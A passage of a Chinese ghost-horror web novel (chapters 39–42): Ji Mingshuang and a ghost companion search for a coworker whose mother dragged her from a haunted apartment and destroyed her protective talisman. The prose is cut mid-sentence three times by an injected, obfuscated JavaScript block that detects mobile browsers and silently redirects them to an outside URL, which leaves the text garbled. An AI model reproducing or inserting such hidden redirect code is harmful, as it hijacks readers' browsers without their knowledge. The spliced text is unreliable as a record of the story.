“但是，陈欣欣的性格太过软弱了，无论受到怎样的伤害，她从来没有伤害过任何人——除了她自己。我们先不论你的做法能不能成功，也不论陈欣欣对于这件事的反应，还有一件非常重要的事，如果你不在了，还有谁能保护陈欣欣？” 唐宇的语气满是森然，“我、知、道。” “知道什么？”林然问道。 “他、们、不、能、离、开、公、寓。” "这……是周可音告诉你的？" 唐宇没有说话，纪明霜就当他是默认了。 林然说，“但是，陈欣欣可以离开灰灰公寓，不是吗？” 唐宇依旧没有说话。 纪明霜说，“我想，你现在一定在想，我已经叮嘱过陈欣欣，所以她不会离开公寓，但林然也提醒过你，你也没在天亮之前回来，不是吗？” 唐宇说，“欣、欣、很、听、你、的、话。” 纪明霜又问道，“但她有爸爸妈妈、弟弟、还有领导和同事。” 唐宇这才看向了纪明霜。 纪明霜叹了口气，“现在，回去吧，回到她的身边……希望只是我想多了。” 唐宇沉默了一会儿，点了点头。 他离开之后，陈荣挠了挠头，“怎么感觉房间里变热了啊……我去，这破风扇，转了跟没转一样，唉，早知道就不待在这里了，好烦。” 纪明霜醒来了。 这时，她才发现，她的身上盖着一条温暖的毛毯。办公室的阿姨正坐在电脑前发呆，见她醒来，她赶紧招呼道，“小纪，你醒了啊，过来帮阿姨看下这个报表，唉，真是搞不明白。” “来了，我看看……咦，这个公式没问题啊，是列宽不够了，拉长一点就好了……” …… 忙到中午，纪明霜回了灰灰公寓，然而，公寓里空无一人。 39. 第39章 报警 “这……是怎么回事……” 纪明霜提着三份午餐，看了看手机里的聊天记录，时间是在三十分钟前。 霜（纪明霜）：欣欣，你中午想吃什么呢？ July（陈欣欣）：随便。 霜（纪明霜）：我们上次一起去的那家快餐店怎么样，给你打包一份单人餐回来。 July（陈欣欣）：可以。 给陈欣欣发消息的时候，已经快到下班的时间了，纪明霜刚刚完成了工作，又累又饿，头晕目眩，收到回复之后，就去排队买午饭了，并没有注意到陈欣欣的语气格外冷淡。 虽然聊天记录听不出语气，但是平时，陈欣欣说话或者聊天的时候，总会加上一些语气词。如果要回复【好的】，她会说【好的呢】；如果要回复【嗯】，她会说，【嗯嗯！】。 而且她平时聊天不会加句号，还会配上一些可爱的颜文字和表情包。 居然没有注意到这些细节……纪明霜这下完全没心情吃饭了。 她试着给陈欣欣发了消息，但她被拉黑了，给陈欣欣打去电话，电话也打不通，也是被拉黑了。 小陈哥穿墙而入，“那个，上午十点半左右，她就被人带走了……” 纪明霜把午饭放下，立刻开始往外走，一边走，一边问道，“是谁带走了她？” 小陈哥也跟上了她的脚步，“其中一个是她的妈妈，我不认识另外的三个男人，唉，那架势，简直像黑恶势力一样……” 纪明霜：“可是，陈欣欣的妈妈怎么会来这里……” 小陈哥说，“恕我直言，那个女人简直可怕啊……据那个小姑娘说，啊，不好意思，我看她一个人发呆，就去跟她聊了几句，真是个礼貌的小姑娘……” 林然：“讲重点。” 小陈哥，“哦，据那个小姑娘说，她妈妈平时不会给她打电话，只会给她的宝贝儿子打电话，如果她妈妈突然想联系她，就会一直打电话，直到她接电话为止，就算她关机了，她妈妈也会一直打，一直打。今天，不知道为什么，她妈妈突然联系了她，她本来没准备接电话的，但是，两个小时，她妈妈给她打了一百多个电话，她没忍住接了一个……我没刻意去听，只是大概听到了一些对话……” 纪明霜：“别废话。” 现在是中午，很多人回公寓，电梯要等好久，纪明霜决定走楼梯。 小陈哥边走边说，“她妈妈说，‘欣欣，你没事吧，要是不想上班，就回家吧，爸爸妈妈养你啊。无论如何，让妈妈见见你，确认你的安全，妈妈才能放心。’ “那小姑娘当然不同意了，她还试图和她妈妈讲道理，但她妈妈就像个人机一样，一直重复着那两三句话。 “后来，她妈妈又说，‘我问过了，你昨天是和你的同事一起离开的，她之前还给我打过电话，我现在就给她打电话，问问她为什么要教唆你辞职，这是恶性竞争，性质非常恶劣，绝对不能姑息！’ “小姑娘说，‘不要，这是我自己做的决定！’ “她妈妈说，‘如果你现在回来，我就当这件事没有发生过，如果你还不回来，我就会把这件事告诉你的领导，你也知道的，你们的领导是我的老同学，我认为我的话是有分量的。’ “小姑娘沉默了一会儿，说，‘那你就说吧，领导也有自己的判断。’ “她妈妈又说，‘哦，这件事果然跟她有关啊……其实也用不着这么麻烦，她在入职的时候填过个人信息收集表，里面包括她的地址，我打电话问一下就知道了。欣欣，你不想麻烦她，我也不想费事，你现在在哪里，妈妈想去看看你，确认了你的安全之后，妈妈就会离开。’ “‘没必要，我很安全，如果你想确认的话，可以打个视频电话。’ “‘哦，我不会打。’ “‘你每天都跟弟弟打视频电话。’ “‘哦，反正我不会打。’” 听着小陈哥绘声绘色的讲述，纪明霜说，“这……这也太无赖了吧。” 小陈哥说，“那可不，我们听了也来气啊。” “然后，她妈妈跟她信誓旦旦地说，‘欣欣，妈妈很担心你，想过来看看你，只要你平平安安的，你想辞职，那就辞吧，妈妈答应你，以后会尊重你的意愿，可以吗？’ “小姑娘说，‘妈，还是算了吧，你骗了我多少次，我没办法相信你。’ “她妈妈说，‘欣欣，妈妈也没办法，你突然失踪了，还疑似被绑架，如果妈妈找不到你，那妈妈就去报警，把事情闹大，你也不希望你的同事被警察传唤吧。’ “小姑娘说，‘妈，你这是在报假警。’ “她妈妈说，‘那又如何，我是你妈，我要找你，天经地义！’” 纪明霜问，”然后呢，她妈妈是怎么找过来的？“ 已经快到一楼了，小陈哥的语速快了很多，“小姑娘没有多说，她挂了电话，把手机关了，一边发呆，一边等你回来。过了半个小时左右，有敲门声传来，我出去看了看，一个老女人站在门口，旁边还有三个男人，我把事情跟她说了，她肯定不会开门啊。但是她妈妈说，如果她不开门，那就直接砸门，大不了赔钱，反正不缺钱，我也劝她不要开门，还说这是我家的房子，但小姑娘似乎不太相信，她把门打开了一条缝…… “她妈妈还装模作样地说，‘看到你没事，妈妈就放心了……’，与此同时，那三个人用力把门打开，把小姑娘强行带走了。当时我、女鬼、保安、还有那个小鬼都在，但我们也没什么办法，他们有四个人，三个大男人，阳气都挺旺的，时间又接近中午，唉……” 纪明霜和林然已经走到一楼大厅了。 小陈哥没法离开公寓，他最后说道，“那个小姑娘离开的时候，我也像现在这样，把她送到了一楼，小姑娘想说实情的，但她妈妈根本不听。刚出公寓，我就看到一个穿得绿不拉几的女鬼在外面等她，大中午的，那个女鬼撑着一把花不溜秋的伞，看着那个小姑娘被强行拖出来，还一直在笑呢……” 纪明霜又问道，“那唐宇呢，他回来过吗？” 小陈哥说，“哦，那个被我们群殴的男鬼啊，他回来过，但太迟了，小姑娘已经被带走了……他都没有听我把事情说清楚，就直接离开了，我也不知道他去哪了。” “多谢你了，小陈哥。”纪明霜离开了公寓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419852|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用客气，只是那个小姑娘……唉。” 林然突然发现了什么，“纪明霜，你看那里。” 纪明霜顺着林然指的方向看了过去，果然，事情已经不妙了。 那是一张被红色液体浸透的符箓…… 已经完全失效了。 就被扔在离公寓不远的地方。 纪明霜从道长那里拿到了五张仿制符箓，其中两张卖给了孙才，三张送给了陈欣欣。就在当天，第一张符箓失效了，今天，第二张符箓也失效了，陈欣欣身上只有一张符箓了，如果第三张符箓也失效的话…… “欣欣她……不应该开门的，哪怕让他们砸门呢，大不了赔钱就是了……” 林然说，“我想，这是因为她不想给你添麻烦，又轻信了她妈妈的承诺。” “如果她妈妈知道真相的话……” “如果不能亲眼看见，她妈妈是不会相信的。”林然说，“先去取快递吧，把符箓拿到手，至于陈欣欣被带去了哪里……我想，就是我们今天去过的地方吧。” 确实……陈欣欣的弟弟为了方便看病和换药，正住在骨科医院附近的老破小公寓里，陈欣欣的妈妈负责照顾儿子，不可能离儿子太远，不然就没办法给她的宝贝儿子准备营养健康又美味的午饭了。 纪明霜跑去了快递柜那边，那里有她的一个快递，今天上午刚刚到的。 道长加班加点画了十张符箓，全都给纪明霜寄过来了。 收到快递之后，纪明霜给道长付了尾款，又给道长打去一个电话，她把大致情况跟道长说了下，道长沉默了一会，叹息道，“小纪，这件事，我觉得你可以向你的爸爸求助，如果他愿意出手的话……” 纪明霜：“……我爸爸？” 道长在电话那头说，“嗯……他现在很少管这样的闲事了，但你毕竟是他的女儿，他也许会同意帮忙呢……等等，我听到了敲门声，应该是有人来访，就这样吧，我先挂了。” 纪明霜都没来得及道谢，道长就挂断了电话。 也没什么别的办法了，纪明霜只能硬着头皮，给通讯录里的爸爸打去了电话。 过了很久，电话才被接起，男人的声音很是斯文，“喂，你好，请问是哪位啊？” “爸爸，你好，我是纪明霜。” “哦……是明霜啊，你打电话过来，是有什么事吗？” “是这样的，我遇到了一点事，希望你能帮帮忙……” 纪明霜非常简短地说了大致的情况，对方沉默了一会儿，说，“明霜，很抱歉，我可能帮不了你，不过，关于这件事，我建议你联系一下靳尤白。” “可是靳尤白关机了，从昨天开始，她一直是失联的……” “要不你再多打几个电话试试看？” 纪明霜说，“嗯。” 对方挂断了电话。 林然建议道，“实在不行，可以报警，就说你的宠物河豚不见了，怀疑是被陈欣欣拿走的。” 纪明霜点点头，“好，报假警就报假警吧，还是人命更重要。” 就在这时，她看到有人正朝着这边跑过来，她定睛一看，这不是小敏吗？ 40. 第40章 失踪 “小敏……你怎么在这里？” 小敏气喘吁吁地跑过来，“纪小姐，不好意思，我们老板的妈妈太可怕了，我、我被她发现了，手机也被没收了，我好不容易才跑出来，先去了你的公司，没找到你，然后才过来这边，幸亏遇见你了……” “靳尤白呢，她现在怎么样？” “我们老板没事，但被她妈妈带出去了，不知道是去见朋友还是客户什么的，她让我把这个转交给你。” 小敏从包里拿出了一个长而扁的盒子，她把盒盖打开，里面静静地躺着一张符箓，“就是这个。” 纪明霜接过盒子看了一眼，黄色的符纸很有质感，暗色的朱砂墨迹似乎还有隐隐的金光在流动，把它拿在手中，纪明霜能感觉到一种沉重、古朴的力量，她把盒子还给了小敏，“这个我不能收，请你把它还给靳尤白吧。” 小敏把盒子塞到纪明霜的手里，语气非常坚定，“不行，我们老板说过，你必须拿着这个，不然她没法放心。” 纪明霜说，“但我也很担心她的安全。” 小敏说，“纪小姐，你孤身一人在外打工，你住的公寓，上班的公司，说实话，给我的感觉都……不太好。我老板有钱，有人脉，还有父母陪伴在身边，据我所知，我老板的爸爸，王董事长，他认识的大师有不少呢，你的日子过得还不如我滋润，怎么还操心起老板的事呢？” 纪明霜哭笑不得，哪有这样劝人的，“但这毕竟是靳尤白的东西，而且它太贵重了，我不能收……” 小敏看了看四周，又说，“还有就是，这个是老板偷偷塞给我的。我们老板的妈妈很强势的，如果被她知道我做的事，那我的工作可就没了，我还没来及包养吱吱太太，还不想失业回家种地瓜。如果纪小姐收下这张符箓，我不但完成了老板交待的任务，还不会被老板的妈妈人脏并获地抓住，岂不是两全齐美。再说了，如果纪小姐想把这张符箓还回来，下次见面的时候，可以当面还给她——这句是我们老板的原话。” “可……” “拜托纪小姐了，就当是帮我一次嘛。”小敏双手合十，“我也只是个普通打工人嘛，拜托拜托。” 纪明霜接过盒子，放进包里，“……好吧，那就当是我借她的，说起来，昨天晚上，你们那里没发生什么事吧。” 小敏说，“没啥事啊，纪小姐，也许是你想太多了吧。” 纪明霜说，“希望如此吧……” 小敏离开之后，纪明霜正准备报警，却接到一个意料之外的电话，这个电话号码是……陈母？ 她怎么突然给自己打电话？ 难道是良心发现了？ 还是陈欣欣遇到了什么不好的事…… “喂？”纪明霜赶紧接起了电话，“欣欣在吗，欣欣现在没事吧？” 陈母的语速很快，语气也很慌张，“喂，喂，你是欣欣的同事吗，她……她不见了，你知不知道她会去哪里？” 纪明霜追问道，“阿姨，你说什么，不是你把她带走的吗？” 陈母有些心虚地说，“是……是我没错，但是……她、她跑掉了……” “跑掉……为什么会跑掉？” “我、我好像见鬼了……” “具体是什么情况，欣欣是怎么跑掉的？” “就……就……唉呀，一时半会说不清楚，你能不能过来帮忙，我……我觉得事情有点不对。” 纪明霜问道，“地址？” 陈母说了地址，纪明霜说，“阿姨，你先不要挂电话，我现在就打车过去。” “好、好的。”陈母说。 纪明霜打了辆出租车，地址是在骨科医院附近的小区门口，陈母紧张得说不出话了，她一边哽咽，一边喘息，花了好长一段时间顺气，这才说了陈欣欣上车之后发生的事。 “我、我以为她是在胡说八道，她说她被公司的女鬼盯上了，我怎么可能会相信呢，而且我还叫人来帮忙了，他们也听到了欣欣的话，一个两个的，都憋着笑呢，她这么说，不是让人家看我家的笑话吗？” “那三个男人呢？” “你……你怎么知道有三个男人，你去查监控了？”陈母狐疑道。 纪明霜又问了一遍，“那三个男人呢？” “欣欣跑掉了，他们去附近找人了，欣欣离开了半个小时，也许她还没有走远……” 事情越来越糟糕了，纪明霜的心境却平静了不少，因为她已经心如死水了，“所以，陈欣欣半个小时之前就跑掉了？” 陈母含糊不清地说，“嗯……” “那这半个小时，你在做什么？” “我四处找了找，没找到人，正在回家的路上。我给你们领导打了电话，他把孙才的联系方式发给了我，孙才又把你的联系方式发给了我，我发现你在我的黑名单里，然后就给你打了电话……” “陈欣欣上车之后，发生了什么？” “欣欣上车之后，一直胡言乱语，我有点着急，就打了她一下，只有一下而已……” 纪明霜：“是吗？” “我、我本来是想打她一下的，但一不小心，扇了她一巴掌……” 纪明霜深吸了口气，“讲重点。” “我的意思是，这是事出有因的。我……我突然接到了阿荣的电话，阿荣跟我说，他做了一个很可怕的梦，他梦见他在房间里学习，房间里突然来了三个鬼，女鬼就站在他的后面，男鬼站在女鬼的旁边，两个鬼一直盯着他看，另外还有一个男鬼挂在房间的风扇上，一直晃晃悠悠地旋转，但脸一直都是朝着他的。阿荣说他认识那个男鬼，那是欣欣的前男友唐宇，他之前请阿荣吃过饭。” 纪明霜：“……” 行吧，她也成女鬼了。 陈母继续说，“然后，那三个鬼就开始讨论，要把阿荣分了吃掉，女鬼说要两条胳膊，男鬼说要两条腿，唐宇说要两颗眼珠，阿荣当时知道是梦，但这个梦太真实了，他一直醒不过来，在梦里‘呜呜’地哭着。他眼睁睁地看着那三个鬼围了上来，这时，有一个穿着绿裙子的女孩对他说，你姐姐身上有一张黄纸，黄纸上面画了一间房子，房子里面住了三个吃人肉的恶鬼，要让你姐姐把黄纸撕碎，不然你们全家都得遭殃。” 纪明霜很难描述她现在的心情，她已经能猜到事情的大致走向了。 也就是说，周可音给陈荣制造了幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419853|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境，陈荣信以为真，给陈母打去电话，于是，陈母撕碎了陈欣欣的最后一张符箓。 果然，周可音说得对，鬼果然是很狡猾的啊。 特别是觊觎人皮的恶鬼。 陈母说，“阿荣醒来之后，就给我打了电话，其实我也不怎么相信的，但为了安他的心，我搜了欣欣的身，果然找到了一张黄纸……然后，我就把那张黄纸撕碎，扔出车外了。” “所以，陈欣欣说有鬼，你坐视不理，陈荣说有鬼，你立刻行动？” 陈母理亏，弱弱地解释道，“我们阿荣平时很乖的，平时一有空就学习，从来没让我操过心……” “对了，你儿子玩游戏吗？” 陈母说，“那种害人的东西，我儿子从来不碰。” 纪明霜扯了扯嘴角，“是吗？” 陈母理所当然地说，“是啊。” “行了，继续说吧。” “非要说得这么仔细吗……”陈母小声嘟囔道。 纪明霜，“这些细节很重要，也许会有什么线索。” “欣欣之前一直都在挣扎，我把黄纸撕碎之后，她就突然不乱动了，我还以为她变好了，没想到，就在我的面前，她的嘴巴突然张开了，张得好大，里面没有牙齿，没有舌头，没有喉咙，什么都没有，空洞洞的，太可怕了。然后，她的下巴就掉了下来，还黏着好多红红黑黑的血肉，我看得很清楚，还在拉丝呢，以下巴为分界线，她的脑袋被分成了两半，截面平滑极了，血肉还在动呢，我仔细一看，血肉之间有类似虫子的东西在爬行。” 纪明霜并没有开免提，但陈母在激动之下，音量实在是太大了，出租车司机也听清了这段话，他咽了咽口水，说，“小姑娘，你们是在讲什么恐怖故事吗？" 纪明霜不想吓到路人，于是解释道，“嗯……马上要交稿了，我一个字没动，没办法，先随便聊几句，找点灵感。” “哦哦，是这样啊，吓我一跳，这下我放心了。” 陈母继续说，“当时，车辆还在行驶，我、欣欣还有我表哥坐在后排，我表哥找来的两个帮手，分别坐在驾驶位和副驾驶，我想求救的，但我突然看到，车里的其它三个人也变成了鬼，正在幽幽地看着我。当时，正好经过了桥下，周围都暗了下来，桥也不宽，最多十秒钟就能通过，但我等了好久好久，周围都没有变亮。我看到我的左手拿着一把刀，右手少了一根手指，我又看到欣欣，她正低头吃东西，她把双手捧着一根小小的手指，就那么狼吞虎咽地吃着，一边吃，一边发出快要断气一样的声音……太、太可怕了，我、我想吐……” 电话那头传来了陈母剧烈呕吐的声音，出租车司机的表情难看极了，“你、你们还挺全情投入的啊……” 纪明霜点点头，“嗯……她是金牌编剧，在业内很有名的，因为非常敬业，她月薪两万五。” 出租车司机恍然大悟，“原来如此，怪不得人家能赚到钱呢，这工作换我来，我可做不了啊。” 等到陈母把胃里的所有内容物，连同胃酸一起全部呕出来之后，她的嗓子哑了很多，“我、我把手刹拉了起来，正准备跳车逃跑，但是周围变亮了，欣欣也不见了……” 41. 第41章 泥浆 事到如今，事情已经完全失控了，天知道‘陈欣欣’会去哪里。 但无论她是换个地方苟着，还是找个地方搞事情，晚上都要回公司的。 公司的阴气很重，适合仪式的进行，林然之前也说过，在公司的时候，周可音的力量会更强一些。 还有就是，如果周可音真的想成为‘陈欣欣’，她早就成功了，但周可音迟迟没有这么做，嗯，真是多亏了陈欣欣的原生家庭。 也就是说，陈欣欣还是有一线生机的。 这么想着，出租车已经停在了附属小区的门口，纪明霜下了车，这时，电话那头的陈母说，“那个，我到家了，阿荣还没有吃午饭……” 纪明霜难以理解，“陈欣欣都失踪了，你还关心陈荣没有吃午饭？” “反正欣欣一时半会也找不回来，我表哥他们也帮忙去找人了，我……我的意思是，也许欣欣会回家看看也说不定呢？” 的确有这种可能，纪明霜没有多说什么，但她又听到了陈母的自言自语，“咦，门把手怎么这么冰……” 纪明霜追问道，“你家的门牌号是多少？” 陈母有些警惕，“你问这个干什么？” 纪明霜，“我感觉事情不太对劲……” 陈母打开了房门，“小姑娘，不好意思，我担心你身上有什么不干净的东西……所以请你在小区门口等一会儿，我送个饭就回来。” 纪明霜看向了林然，嗯，从某种意义上来说，陈母也没有说错。 所谓‘不干净的东西’，一般是指鬼和鬼的附属物，比如阴气之类的，但实际上，林然干净得就像一块纯净而晶莹剔透的冰，反而是陈母…… 嗯，可以这么说，对陈欣欣而言，陈母比周可音更可怕。 另一边，陈母把打包好的饭食放在了客厅的桌子上，又去敲了敲陈荣的房门，“阿荣，出来吃饭吧，妈妈今天不能陪你一起吃了，你姐姐不见了，妈妈要出去找，妈妈不在，你别光顾着学习，要按时吃午饭啊。” 陈荣没有回应，陈母只听到房间里老旧风扇晃晃悠悠转动的声音。 “阿荣，怎么回事，是睡觉了吗？”陈母尝试着推了推门，没有推开。 她顿觉不妙，拧了门把手，是锁着的，她又开始用力敲门，“阿荣，阿荣，怎么回事，你没事吧，回答妈妈一声啊！” 房间里没有声音，陈母开始撞门，但她的力气不够，门丝毫未动，陈母对着门里喊道，“阿荣，妈妈马上去找人，你稍等一会儿。” 她转身向门口跑去，又对电话里的纪明霜说，“小姑娘，不好意思，麻烦你过来一趟，我会给你钱的，我的地址是……” 她进来的时候没有关门，当她跑到门口的时候，被一股力量直接拖到了陈荣房间的门口，她眼睁睁地看着自己离门口越来越远，与此同时，陈荣房间的门‘吱呀’一声打开了。 此时，周围又暗了下来，准确地说，不仅是房间里，就连窗外的天光也跟着暗了下来，这种色调并不是夜幕降临的蓝黑色，而是傍晚时天边的霞光即将被夜晚吞噬的暗红色，房间里的温度骤降，陈母搓了搓手臂，突然的温差和心底的恐惧让她的头皮绷得很紧，她的肩膀都在发抖，她的手心攥得生疼，她当然知道这里有脏东西，但是……但是…… 阿荣还在这里啊…… 她硬着头皮，走进了陈荣的房间，不过是一条老命罢了，有什么好怕的，但她不忘对着电话说，“那个，小姑娘，你还在吗，能不能请你过来帮个忙？” 手机的屏幕完全黑了，也不知道那个小姑娘有没有听到她刚刚报的门牌号。 虽然是领导推荐的人，但也只是一个小姑娘而已…… 早知道，就花钱请大师来做法了。 但后悔已经来不及了，陈母推开了虚掩的门，她看到房间里有一个直直站立着的黑色身影，从身形和衣着判断，那个人正是陈荣。 他正挂在屋顶电风扇的扇叶上，双眼暴凸，脸色发蓝，嘴唇发黑，他的体重太沉了，没办法像唐宇一样挂在扇叶上旋转，所以他被挂在风扇中央的位置，勒住他脖子的绳子比较长，所以他可以靠着脚尖的力量勉强支撑着身体，他此时还活着，但虚弱极了，他的胳膊已经抬不起来了，只能费力地用手指指向陈母的身后。 陈母没有注意到他的提示，因为房间里没有拉窗帘，也没有开灯，比客厅暗得多，她压根看不到这样的细节，但她突然感觉有人在她的后颈处吹气，凉飕飕的，不仅如此，她还听到了嗅闻的声音，像一只鬣狗正准备享用偷来的美餐，陈母今天受到了接二连三的惊吓，这么说吧，要不是为了阿荣，她已经晕倒了。 她没有下一步的动作，对方也没有下一步的动作，她站在门口，脸上的表情难看极了，她想哭，想尖叫，但她不敢，只能维持着如哭如笑的僵硬表情。 她想，也许那个小姑娘听到了她报的门牌号，马上就会过来敲门，也许会像之前那样，突然天光大亮，鬼怪无影无踪，但是，这两种情况都没有出现，她的袜子渐渐濡湿了。 她闭着眼睛低下头，做好心理准备才睁开眼，看到脚边是缓缓漫上来的浑浊泥浆，一种湿冷的感觉蔓延到了她的全身。 陈荣房间里的灯是关着的，房间里微弱的光线来自她的身后，于是，在她的影子旁边，立着另一个黑影，那个黑影的身上正在不停地滴着泥浆，陈母已经站不住了，但那个影子仍是一动不动。 “欣、欣、在、哪？” 陈母睁大了眼，她好像在哪里听过这个声音，那个黑影朝她走近了一步，陈母立刻跑到了陈荣身边，她想把陈荣从风扇上放下来，但是陈荣突然说话了。 他说，“欣、欣、在、哪。” 陈母猛地放开了陈荣，往后方退去，“我、我也不知道，我正在找她。” 门口的黑影也问道，“欣、欣、在、哪。” “我不知道……” 每当她沉默以对，或者硬着头皮回答，那个黑影都会朝着她走出一步，陈母连连后退，退到了房间的角落里，已经退无可退。 他似乎并不在乎她的回答，只是机械地问着，“欣、欣、在、哪？” 陈母再也无法控制自己的情绪了，她嚎哭出声，“我也不知道……冤有头，债有主，如果她做了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419854|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不好的事，你就去找她啊，为什么要害我的阿荣……呜呜，我的阿荣啊……” 四面的墙壁朝着她压了过来，冰冷的泥浆也跟着漫了上来，沉重的、肮脏的、绝望的气体从她的肺里不受控制地涌了出来，她张大了嘴，仍是呼吸困难，她艰难地朝着前方模糊的身影伸出了手，“阿荣……” 转机就在此刻发生。 “唐、宇！” 这是一个年轻女孩的声音，陈母感觉身上一松，终于能够顺畅地呼吸了，周围的环境也恢复了正常，她连滚带爬地跑到陈荣的身边，把一直勉强支撑着的陈荣解了下来，“阿荣，怎么样，你没事吧……” 陈荣躺在地上，两眼无神，全身都是冷汗，已经完全虚脱了，唐宇来找过他，周可音来哄骗他，唐宇现在又过来找他算账，他的阳气已经被压得很低了。 陈母先是遭遇了周可音，又撞见了唐宇，阳气一样低得吓人，于是，这两个人，都能看到纪明霜身边的林然。 陈荣瞪大了双眼，抓住了陈母的双手，“妈……妈，救救我，你救救我，他们就是那一对男鬼和女鬼……还有他，他是那个穷小子唐宇，他……他怎么变成这样了？” “因为他死了。”纪明霜幽幽地说。 陈母看向唐宇，唐宇也看向了陈母，他的左眼上附着一层透明蚕蛹一样的翳，右眼也浑浊得分不清眼白与虹膜，他的脸或者说整个头都变形了，身上有多处外伤和骨折的痕迹，苍白的皮肤上浮着大大小小的浅淡尸斑，他一张嘴，鼻孔和嘴巴里就流出泥沙，似乎还有某种拳头大小的生物，正寄生在他的口中，他的身体关节都是僵直的，只眼珠的转动最灵活，他死死地盯着陈母，陈母惊恐地捂住了嘴。 林然没有说话，他先是给了唐宇一拳，在陈母和陈荣呆滞的目光中，唐宇的头被打得旋转了两圈，之后，林然又抬腿，一记干脆利落的飞踢，正中唐宇的下巴，唐宇整个鬼飞了起来，直接穿过墙壁，飞到了房间的外面，而后，他又被林然揪着领子拎了回来，扔到房间中央的地板上。 陈荣看着林然，目瞪口呆，“你……” 林然看了他一眼，陈荣立刻爬了起来，规规矩矩地坐好。 陈母心疼地把儿子揽在了怀中，“你、你们这是……” 纪明霜没有回答她，而是问唐宇道，“说说吧，怎么回事？” 唐宇说，“欣、欣，陪、葬。” “……姐姐？”陈荣大声叫骂道，“唐宇，我草，你死了，要我姐姐为你陪葬，凭什么啊！” 纪明霜说，“你想多了，是要你和你妈，可能也要加上你爸，为陈欣欣陪葬……” 陈母弱弱地说，“但欣欣只是失踪了啊，她应该还没死吧……” 纪明霜：“这还不是因为你，把她从灰灰公寓里带走，又把她的符箓撕碎……” “什么符箓，就是那张黄纸？”陈母说，“可是，那张纸，里面不是有鬼吗？” 就算纪明霜说了实话，陈母也不会相信，所以，纪明霜说，“嗯，那张黄纸上画了一间房子，里面住了三个鬼，你把鬼的房子弄坏了，鬼没地方住，就会住进你家里。” 42. 第42章 上班 陈母的表情惊悚极了。 陈荣也痛苦地闭上了眼睛。 陈母坐在地上，不安地咬着唇，“那……小姑娘，我、我们要怎么办？” 纪明霜拿出手机看了一眼时间，“上班。” 陈母：“啊？” 纪明霜说，“我现在要去上班了。” 陈母还是没懂，“啊？” 见纪明霜转身就要离开，陈母赶紧一把抓住了纪明霜的包包，“等、等一下，小姑娘，你是认真的吗？” 纪明霜点了点头，理所当然地说，“当然了，如果我现在不去公司打卡，就会迟到了。” “人命关天，你分得清孰轻孰重吗，我差点就死了，你却要去上班。”陈荣哑着嗓子说。 “那又如何，与我无关。”纪明霜回头笑了笑，“没办法，有人托我保管一盆仙人掌盆栽，我得去浇水啊。” 陈荣虚弱地说，“仙人掌不用浇得那么勤快的……水浇多了反而会死。” 纪明霜摆摆手，“没事，死不了，是塑料的。” 陈荣倒吸了一口冷气，又被冷气呛得连连咳嗽，陈母心疼地拍着他的背，见纪明霜没指望了，她又对林然说，“那个，你能不能帮帮忙，我会给你很多钱的……” 林然：“我不是人，要钱没用。” 陈母爬了起来，走到林然旁边，“哈哈，怎么可能呢，我见过鬼的，鬼不都是那种很可怕很狰狞的模样吗……” 然而，她的手根本碰不到林然，她的脸色陡然变了。 纪明霜歪了歪头，“你觉得我像人吗？” 看着纪明霜和林然，陈荣突然大叫道，“妈……他们就是我在电话里说的男鬼和女鬼！” 陈母被吓了一跳，差点把怀里的陈荣推了出去，“可、可是，我刚刚碰到她了啊……” 纪明霜微笑着对陈母伸出了手，“你要不要再试一试呢？” 陈母缩回了手，“不、不要了……” 眼看着纪明霜和林然就要离开，陈母又不死心地张了张嘴，“小姑娘……” 纪明霜：“哦？” 陈母指着正死死盯着她的唐宇，“那……他呢？” 纪明霜说，“我觉得你们相处得蛮愉快的呢，那么接下来，就请你们……好好聊聊？” “这怎么可能啊！”陈荣大喊道，“喂，你们两个，等一下啊！” 陈母的眼里满是恳求，“你们能不能把他也带走啊……” 纪明霜没有回头，她说，“唐宇，现在是白天，她暂时没事，但如果今晚还找不到她的话，就真的来不及了。” 唐宇缓缓地点了点头，“我、跟、你、们、一、起。” 陈母叫住了纪明霜，“那个，你们要去哪，我也一起去！” 纪明霜说，“不必了，陈荣还没吃午饭呢。” 陈荣苦笑着说，“我现在还哪有心情吃午饭……” 纪明霜：“哦，是吗？” 陈荣说，“妈，我现在先去我爸那里，你去帮忙找姐姐吧……” 陈母无不担忧，“阿荣，你的腿……” 陈荣这才反应过来，他捂着他的伤腿，大叫道，“嘶，疼疼疼疼疼……” 陈母说，“小姑娘，你先去打卡吧，我再去找一找欣欣……” 纪明霜从包里拿出道长寄给她的符箓，“需要吗？” 陈母说，“这不就是我撕碎的那张黄纸吗……” 纪明霜作势要把符箓收回来：“爱要不要，我只是分销代理，说实话，我也不是很想卖给你们……” 